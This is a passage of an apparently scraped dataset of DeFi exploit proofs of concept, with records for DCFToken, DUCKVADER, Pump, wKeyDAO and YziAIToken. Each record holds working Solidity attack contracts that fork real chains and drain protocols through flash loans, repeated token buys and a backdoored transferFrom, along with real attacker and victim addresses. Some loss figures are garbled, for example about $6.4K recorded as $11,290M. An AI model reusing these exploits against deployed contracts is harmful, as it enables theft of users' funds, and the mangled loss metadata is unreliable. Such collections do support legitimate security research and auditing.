BUSD.transfer(pancakeV3Pools[i].addr, pancakeV3Pools[i].amount);\n // Pay back the swap\n for (uint i = 0; i < pancakeSwapV2s.length; i++)\n BUSD.transfer(pancakeSwapV2s[i].addr, pancakeSwapV2s[i].amount);\n }\n }\n}\n\n\ninterface IBEP20 {\n function transfer(address recipient, uint256 amount) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n\n}\n\ninterface IPancakeV3Pool {\n function flash(address recipient, uint256 amount0, uint256 amount1, bytes memory data) external;\n}\n\ninterface IPancakeSwapV2 {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n function sync() external;\n}\n\ninterface IPancakeSwapRouterV2 {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, uint256 deadline) external;\n}\n", "type": "exploit_poc", "protocol": "DCFToken", "date": "2025-03", "file_name": "DCFToken_exp.sol", "attack_vector": null, "content_hash": "c60778c70968bcd8", "collected_at": "2026-01-07T10:59:16.532672", "_source": "postmortems", "chain": "bsc", "block_number": 44290969, "total_lost_raw": "~442k", "total_lost_usd": 442000.0, "attacker_address": "https://bscscan.com/address/0x00c58434f247dfdca49b9ee82f3013bac96f60ff", "attack_contract": "https://bscscan.com/address/0x77ab960503659711498a4c0bc99a84e8d0a47589", "vulnerable_contract": "https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6", "attack_tx": "https://bscscan.com/tx/0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd", "postmortem_url": null, "twitter_url": "https://x.com/Phalcon_xyz/status/1860890801909190664", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~442k", "category": "unknown", "exploit_code": "function testExploit() public {\n attack_Contract.exploit();\n }\n}\n\ncontract Attack_Contract {\n struct Pancake {\n address addr;\n uint amount;\n bool bUSDIndex;\n }\n address[] path = new address[](2);\n Pancake[] pancakeV3Pools;\n Pancake[] pancakeSwapV2s;\n IBEP20 BUSD = IBEP20(BUSD_addr);\n IBEP20 DCF = IBEP20(DCF_addr);\n IBEP20 DCT = IBEP20(DCT_addr);\n \n uint deadline = 1732453876;\n uint step = 1;\n IPancakeSwapRouterV2 PancakeSwapRouterV2 = IPancakeSwapRouterV2(PancakeSwapRouterv2_addr);\n IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCF_12 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCF_12_addr);\n IPancakeSwapV2 PancakeSwapV2_BSCUSD_DCT_6 = IPancakeSwapV2(PancakeSwapV2_BSCUSD_DCT_6_addr);\n\n constructor() {\n // pancakeV3Pools - Used to obtain a large amount of BUSD via flash loans\n pancakeV3Pools.push(Pancake({addr: 0x92b7807bF19b7DDdf89b706143896d05228f3121, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x36696169C63e42cd08ce11f5deeBbCeBae652050, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x172fcD41E0913e95784454622d1c3724f546f849, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0xBe141893E4c6AD9272e8C04BAB7E6a10604501a5, amount: 0, bUSDIndex: true}));\n pancakeV3Pools.push(Pancake({addr: 0x1936be860d93B0Ff98f3a9b83254D61A78930B76, amount: 0, bUSDIndex: true}));\n pancakeV3Pools.push(Pancake({addr: 0x247f51881d1E3aE0f759AFB801413a6C948Ef442, amount: 0, bUSDIndex: false}));\n pancakeV3Pools.push(Pancake({addr: 0x7f51c8AaA6B0599aBd16674e2b17FEc7a9f674A1, amount: 0, bUSDIndex: true}));\n // pancakeSwapV2s - Utilize swap to acquire a large amount of BUSD\n pancakeSwapV2s.push(Pancake({addr: 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0x7C1f8F5d8d000b00a2Eaa3c21071dBca18f6825d, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0xF31cb18759FE8356348c81268b859d2a32bf2117, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0x5a5fD4DBF70747E684F43B43aB53d4b0C733293D, amount: 0, bUSDIndex: true}));\n pancakeSwapV2s.push(Pancake({addr: 0xB51f9508B88F0868aE14E74C5D7d1F34E2f419c1, amount: 0, bUSDIndex: false}));\n pancakeSwapV2s.push(Pancake({addr: 0x8665A78ccC84D6Df2ACaA4b207d88c6Bc9b70Ec5, amount: 0, bUSDIndex: true}));\n }", "has_exploit_code": true, "keyinfo_total_lost": "~442k", "keyinfo_attacker": "https://bscscan.com/address/0x00c58434f247dfdca49b9ee82f3013bac96f60ff", "keyinfo_attack_contract": "https://bscscan.com/address/0x77ab960503659711498a4c0bc99a84e8d0a47589", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x8487f846d59f8fb4f1285c64086b47e2626c01b6", "keyinfo_attack_tx": "https://bscscan.com/tx/0xb375932951c271606360b6bf4287d080c5601f4f59452b0484ea6c856defd6fd", "analysis_postmortem": "", "analysis_twitter": "https://x.com/Phalcon_xyz/status/1860890801909190664", "funds_lost_formatted": "$442.0K", "content_richness_score": 9, "quality_estimate": "high", "title": "DCFToken Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 5 ETH\n// Attacker : https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0\n// Attack Contract : https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff\n// Vulnerable Contract : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56\n// Attack Tx : https://basescan.org/tx/0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae4\n\n// @Info\n// Vulnerable Contract Code : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1899378096056201414\n// Hacking God : N/A\n\naddress constant DUCKVADER = 0xaa8f35183478B8EcEd5619521Ac3Eb3886E98c56;\naddress constant wETH = 0x4200000000000000000000000000000000000006;\naddress constant UNISWAP_ROUTER = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;\n\ncontract DUCKVADER_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 27_445_835 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"base\", blocknumToForkFrom);\n vm.label(DUCKVADER, \"DUCKVADER\");\n vm.label(UNISWAP_ROUTER, \"Uniswap: V2 Router02\");\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.attack();\n }\n\n receive() external payable {\n // This contract is used to receive ETH from the attack contract\n }\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function attack() external {\n // Call multiple times to get more tokens\n uint256 times = 10; //200;\n for (uint256 i = 0; i < times; i++) {\n AttackContract2 attackContract2 = new AttackContract2();\n attackContract2.buy();\n }\n IDUCKVADER(DUCKVADER).buyTokens(0);\n IDUCKVADER(DUCKVADER).approve(UNISWAP_ROUTER, type(uint256).max);\n uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));\n // console.log(balance);\n address[] memory path = new address[](2);\n path[0] = address(DUCKVADER);\n path[1] = address(wETH);\n IRouter(payable(UNISWAP_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(\n balance, 0, path, attacker, block.timestamp + 10\n );\n }\n}\n\ncontract AttackContract2 {\n function buy() external {\n IDUCKVADER(DUCKVADER).buyTokens(0);\n uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));\n IDUCKVADER(DUCKVADER).transfer(msg.sender, balance);\n }\n}\n\ninterface IDUCKVADER is IERC20 {\n function buyTokens(uint256 usdtAmount) external payable;\n}\n", "type": "exploit_poc", "protocol": "DUCKVADER", "date": "2025-03", "file_name": "DUCKVADER_exp.sol", "attack_vector": null, "content_hash": "8566d9a0bda4c8c6", "collected_at": "2026-01-07T10:59:16.532764", "_source": "postmortems", "chain": "base", "block_number": null, "total_lost_raw": "~ 5 ETH", "total_lost_usd": 5.0, "attacker_address": "https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0", "attack_contract": "https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff", "vulnerable_contract": "https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56", "attack_tx": "https://basescan.org/tx/0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae4", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1899378096056201414", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~ 5 ETH", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n attackContract.attack();\n }\n\n receive() external payable {\n // This contract is used to receive ETH from the attack contract\n }\n}\n\ncontract AttackContract {\n address attacker;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 5 ETH", "keyinfo_attacker": "https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0", "keyinfo_attack_contract": "https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff", "keyinfo_vulnerable_contract": "https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56", "keyinfo_attack_tx": "https://basescan.org/tx/0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae4", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1899378096056201414", "funds_lost_formatted": "$5", "content_richness_score": 7.4, "quality_estimate": "medium", "title": "DUCKVADER Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 11.29 BNB ($6.4K)\n// Attacker : https://bscscan.com/address/0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd3\n// Attack Contract : https://bscscan.com/address/0x0e220c6c52d383869a5085ef074b6028254b3462\n// Vulnerable Contract : TAGAIFUN, GROK, PEPE, TEST ... TokenContract\n// Attack Tx : https://bscscan.com/tx/0xdebaa13fb06134e63879ca6bcb08c5e0290bdbac3acf67914c0b1dcaf0bdc3dd\n\n// @Info\n// Vulnerable Contract Code :\n// - TAGAIFUN: https://bscscan.com/address/0x09762e00ce0de8211f7002f70759447b1f2b1892#code\n// - GROK: https://bscscan.com/address/0x02e8ead6de82c8a248ef0eebe145295116d0e4c2#code\n// - PEPE: https://bscscan.com/address/0x6b7e9be56ca035d3471da76caa99f165449697a0#code\n// - TEST: https://bscscan.com/address/0xba0d236fbcbd34052cdab29c4900063f9efe6e4f#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1897115993962635520\n// Hacking God : N/A\n\naddress constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant TAGAIFUN_TOKEN = 0x09762e00Ce0DE8211F7002F70759447B1F2b1892;\naddress constant GROK_TOKEN = 0x02E8eAd6De82c8a248eF0EebE145295116D0E4C2;\naddress constant PEPE_TOKEN = 0x6B7e9Be56cA035D3471dA76caa99f165449697A0;\naddress constant TEST_TOKEN = 0xBA0D236FbcbD34052CdAB29c4900063F9Efe6E4f;\naddress constant PANCAKE_V3_POOL_BUSD_WBNB = 0x172fcD41E0913e95784454622d1c3724f546f849;\naddress constant PANCAKE_V2_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;\naddress constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\ncontract Pump_exp is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 47_169_116 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n\n vm.label(WBNB_ADDR, \"WBNB\");\n vm.label(BSC_USD, \"BUSD\");\n vm.label(TAGAIFUN_TOKEN, \"TAGAIFUN\");\n vm.label(GROK_TOKEN, \"GROK\");\n vm.label(PEPE_TOKEN, \"PEPE\");\n vm.label(TEST_TOKEN, \"TEST\");\n vm.label(PANCAKE_V3_POOL_BUSD_WBNB, \"PancakeV3Pool: BUSD/WBNB\");\n vm.label(PANCAKE_V2_FACTORY, \"PancakeSwap: Factory v2\");\n vm.label(PANCAKE_V2_ROUTER, \"PancakeSwap: Router v2\");\n }\n\n function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n address[] memory tokenPairs = new address[](4);\n tokenPairs[0] = TAGAIFUN_TOKEN;\n tokenPairs[1] = GROK_TOKEN;\n tokenPairs[2] = PEPE_TOKEN;\n tokenPairs[3] = TEST_TOKEN;\n attackContract.start(tokenPairs);\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ncontract AttackContract {\n address attacker;\n address[] tokenPairs;\n uint256 borrowAmount = 100_000_000_000_000_000_000;\n\n constructor() {\n attacker = msg.sender;\n }\n\n function start(address[] memory _tokenPairs) public {\n tokenPairs = _tokenPairs;\n IPancakeV3PoolActions(PANCAKE_V3_POOL_BUSD_WBNB).flash(address(this), 0, borrowAmount, \"\");\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n uint256 balanceOfWBNB = TokenHelper.getTokenBalance(WBNB_ADDR, address(this));\n WBNB(WBNB_ADDR).withdraw(balanceOfWBNB);\n\n for (uint256 i = 0; i < tokenPairs.length; i++) {\n address token = tokenPairs[i];\n\n address pair = IUniswapV2Factory(PANCAKE_V2_FACTORY).getPair(token, WBNB_ADDR);\n IToken(token).buyToken{value: 0.001 ether}(0, address(0), 0, pair);\n\n WBNB(WBNB_ADDR).deposit{value: 1 ether}();\n WBNB(WBNB_ADDR).transfer(pair, 1 ether);\n IPancakePair(pair).mint(address(this));\n IToken(token).buyToken{value: 20 ether}(0, address(0), 0, address(this));\n\n TokenHelper.approveToken(token, PANCAKE_V2_ROUTER, type(uint256).max);\n uint256 balanceOfToken = TokenHelper.getTokenBalance(token, address(this));\n address[] memory path = new address[](2);\n path[0] = token;\n path[1] = WBNB_ADDR;\n IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balanceOfToken, 0, path, address(this), block.timestamp + 1000\n );\n }\n\n WBNB(WBNB_ADDR).deposit{value: address(this).balance}();\n WBNB(WBNB_ADDR).transfer(PANCAKE_V3_POOL_BUSD_WBNB, borrowAmount + fee1);\n balanceOfWBNB = TokenHelper.getTokenBalance(WBNB_ADDR, address(this));\n WBNB(WBNB_ADDR).withdraw(balanceOfWBNB);\n\n // Transfer the BNB to the attacker\n payable(attacker).transfer(address(this).balance);\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ninterface IToken is IERC20 {\n function buyToken(\n uint256 expectAmount,\n address sellsman,\n uint16 slippage,\n address receiver\n ) external payable returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "Pump", "date": "2025-03", "file_name": "Pump_exp.sol", "attack_vector": null, "content_hash": "1956a607bb13d47b", "collected_at": "2026-01-07T10:59:16.532820", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~ 11.29 BNB ($6.4K)", "total_lost_usd": 11290000000.0, "attacker_address": "https://bscscan.com/address/0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd3", "attack_contract": "https://bscscan.com/address/0x0e220c6c52d383869a5085ef074b6028254b3462", "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xdebaa13fb06134e63879ca6bcb08c5e0290bdbac3acf67914c0b1dcaf0bdc3dd", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1897115993962635520", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~ 11.29 BNB ($6.4K)", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n AttackContract attackContract = new AttackContract();\n address[] memory tokenPairs = new address[](4);\n tokenPairs[0] = TAGAIFUN_TOKEN;\n tokenPairs[1] = GROK_TOKEN;\n tokenPairs[2] = PEPE_TOKEN;\n tokenPairs[3] = TEST_TOKEN;\n attackContract.start(tokenPairs);\n }\n\n receive() external payable {\n // Handle the received funds\n }\n}\n\ncontract AttackContract {\n address attacker;\n address[] tokenPairs;\n uint256 borrowAmount = 100_000_000_000_000_000_000;\n\n constructor() {\n attacker = msg.sender;\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 11.29 BNB ($6.4K)", "keyinfo_attacker": "https://bscscan.com/address/0x5d6e908c4cd6eda1c2a9010d1971c7d62bdb5cd3", "keyinfo_attack_contract": "https://bscscan.com/address/0x0e220c6c52d383869a5085ef074b6028254b3462", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://bscscan.com/tx/0xdebaa13fb06134e63879ca6bcb08c5e0290bdbac3acf67914c0b1dcaf0bdc3dd", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1897115993962635520", "funds_lost_formatted": "$11290.00M", "content_richness_score": 7.64, "quality_estimate": "medium", "title": "Pump Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\n\nimport \"../basetest.sol\";\nimport {IERC20, WETH} from \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~767 US$\n// Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce32\n// Attack Contract : 0x3783c91ee49a303c17c558f92bf8d6395d2f76e3\n// Vulnerable Contract : 0xd511096a73292a7419a94354d4c1c73e8a3cd851\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=12\n\n\n// @Analysis\n// Post-mortem : https://x.com/Phalcon_xyz/status/1900809936906711549\n// @POC Author : [Yajin Zhou](https://x.com/yajinzhou)\n\n\n// Contracts involved\naddress constant wKeyDaoSell = 0xD511096a73292A7419a94354d4C1C73e8a3CD851;\naddress constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\naddress constant wKeyDAO = 0x194B302a4b0a79795Fb68E2ADf1B8c9eC5ff8d1F;\naddress constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n\ncontract wKeyDao_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 47_469_060 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n Attacker attc = new Attacker();\n\n uint balanceBefore = IERC20(BUSD).balanceOf(address(attc));\n\n attc.fire();\n\n uint balanceAfter = IERC20(BUSD).balanceOf(address(attc));\n\n console2.log(\"Profit: \", (balanceAfter - balanceBefore) / 1e18);\n\n }\n}\n\ncontract Attacker {\n\n function fire() external { \n __dodoFlashLoan(address(0x107F3Be24e3761A91322AA4f5F54D9f18981530C), 1_200e18, BUSD);\n }\n\n function onERC721Received(\n address,\n address,\n uint256,\n bytes calldata\n ) external pure returns (bytes4) {\n return IERC721Receiver.onERC721Received.selector;\n }\n\n function __dodoFlashLoan(\n address flashLoanPool, //You will make a flashloan from this DODOV2 pool\n uint256 loanAmount, \n address loanToken\n ) internal {\n bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);\n address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();\n console2.log(\"flashLoanBase Balance:\", flashLoanBase);\n\n if(flashLoanBase == loanToken) {\n IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);\n } else {\n IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);\n }\n }\n\n //Note: CallBack function executed by DODOV2(DVM) flashLoan pool\n function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {\n _flashLoanCallBack(sender,baseAmount,quoteAmount,data);\n }\n\n function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {\n (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));\n \n require(sender == address(this) && msg.sender == flashLoanPool, \"HANDLE_FLASH_NENIED\");\n\n __realAttack();\n\n //Return funds\n IERC20(loanToken).transfer(flashLoanPool, loanAmount);\n }\n\n function __realAttack() internal {\n\n //approve BUSD to wKeyDaoSell\n IERC20(BUSD).approve(wKeyDaoSell, 1_000_000e18);\n\n //approve wKeyDAO to pancakeSwapRouterV2\n IERC20(wKeyDAO).approve(pancakeSwapRouterV2, 10000000000000000000000000000000);\n\n // to save time, we loop 5 times. -- can buy 67 times in total\n for (uint256 i = 0; i < 5; i ++) {\n //buy\n IwKeyDaoSell(wKeyDaoSell).buy();\n\n //sell wKeyDAO\n address[] memory path = new address[](2);\n path[0] = address(wKeyDAO);\n path[1] = address(BUSD);\n IPancakeRouter02(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n IERC20(wKeyDAO).balanceOf(address(this)),\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n \n }\n}\n\ninterface IwKeyDaoSell {\n function buy() external ;\n}\n\ninterface IDODO {\n function flashLoan(\n uint256 baseAmount,\n uint256 quoteAmount,\n address assetTo,\n bytes calldata data\n ) external;\n\n function _BASE_TOKEN_() external view returns (address);\n function _BASE_RESERVE_() external view returns (uint112);\n function _QUOTE_TOKEN_() external view returns (address);\n function _QUOTE_RESERVE_() external view returns (uint112);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IPancakeRouter02 {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n", "type": "exploit_poc", "protocol": "wKeyDAO", "date": "2025-03", "file_name": "wKeyDAO_exp.sol", "attack_vector": "flash_loan", "content_hash": "a57e27c90817272b", "collected_at": "2026-01-07T10:59:16.532876", "_source": "postmortems", "chain": "unknown", "block_number": 47469060, "total_lost_raw": "~767 US$", "total_lost_usd": 767.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=12", "postmortem_url": "https://x.com/Phalcon_xyz/status/1900809936906711549", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~767 US$", "category": "flash-loan", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n Attacker attc = new Attacker();\n\n uint balanceBefore = IERC20(BUSD).balanceOf(address(attc));\n\n attc.fire();\n\n uint balanceAfter = IERC20(BUSD).balanceOf(address(attc));\n\n console2.log(\"Profit: \", (balanceAfter - balanceBefore) / 1e18);\n\n }\n}\n\ncontract Attacker {", "has_exploit_code": true, "keyinfo_total_lost": "~767 US$", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=12", "analysis_postmortem": "https://x.com/Phalcon_xyz/status/1900809936906711549", "analysis_twitter": "", "funds_lost_formatted": "$767", "content_richness_score": 8.5, "quality_estimate": "high", "title": "wKeyDAO Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 376 BNB\n// Attacker : https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453\n// Attack Contract :\n// Vulnerable Contract : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3\n// Attack Tx : https://bscscan.com/tx/0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3#code\n/*\nfunction transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {\n if(msg.sender == manager && amount == 1199002345) {\n _mint(address(this), supply * 10000);\n _approve(address(this), router, supply * 100000);\n\n path.push(address(this));\n path.push(IUniswapV2Router02(router).WETH());\n\n IUniswapV2Router02(router).swapExactTokensForETH(\n balanceOf(to) * 1000,\n 1,\n path,\n manager,\n block.timestamp + 1e10\n );\n return true;\n }\n // ...\n}\n */\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/TenArmorAlert/status/1905528525785805027\n// Hacking God : N/A\n\naddress constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;\naddress constant CAKE_LP = 0xb53C43dEbCdB1055620d17D0d3aE3cc63eCe0919;\naddress constant YziAI = 0x7fDfF64Bf87bad52e6430BDa30239bD182389Ee3;\n\ncontract YziAIToken_exp is BaseTestWithBalanceLog {\n address attacker = 0x63FC3fF98De8d5cA900e68E6c6F41a7CA949c453;\n uint256 blocknumToForkFrom = 47_838_545 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n // fundingToken = BSC_USD;\n\n vm.label(attacker, \"Attacker\");\n vm.label(wBNB, \"WBNB\");\n vm.label(YziAI, \"YziAI\");\n vm.label(CAKE_LP, \"0xc355_Cake-LP\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"BNB balance before attack\", attacker.balance, 18);\n vm.startPrank(attacker);\n IERC20(YziAI).transferFrom(CAKE_LP, CAKE_LP, 1_199_002_345);\n vm.stopPrank();\n emit log_named_decimal_uint(\"BNB balance after attack\", attacker.balance, 18);\n }\n}\n", "type": "exploit_poc", "protocol": "YziAIToken", "date": "2025-03", "file_name": "YziAIToken_exp.sol", "attack_vector": null, "content_hash": "6c174b496ae02355", "collected_at": "2026-01-07T10:59:16.532934", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~ 376 BNB", "total_lost_usd": 376000000000.0, "attacker_address": "https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453", "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3", "attack_tx": "https://bscscan.com/tx/0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8", "postmortem_url": null, "twitter_url": "https://x.com/TenArmorAlert/status/1905528525785805027", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~ 376 BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"BNB balance before attack\", attacker.balance, 18);\n vm.startPrank(attacker);\n IERC20(YziAI).transferFrom(CAKE_LP, CAKE_LP, 1_199_002_345);\n vm.stopPrank();\n emit log_named_decimal_uint(\"BNB balance after attack\", attacker.balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~ 376 BNB", "keyinfo_attacker": "https://bscscan.com/address/0x63fc3ff98de8d5ca900e68e6c6f41a7ca949c453", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x7fdff64bf87bad52e6430bda30239bd182389ee3", "keyinfo_attack_tx": "https://bscscan.com/tx/0x4821392c0b27a4acc952ff51f07ed5dc74d4b67025c57232dae44e4fef1f30e8", "analysis_postmortem": "", "analysis_twitter": "https://x.com/TenArmorAlert/status/1905528525785805027", "funds_lost_formatted": "$376000.00M", "content_richness_score": 7.22, "quality_estimate": "medium", "title": "YziAIToken Exploit (2025-03)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~ 95.5 K (1.14015390 WBTC)\n// Original Attacker : 0xF6ffBa5cbF285824000daC0B9431032169672B6e\n// MEV frontrunner : Yoink(0xFDe0d1575Ed8E06FBf36256bcdfA1F359281455A)\n// Attack Contract : 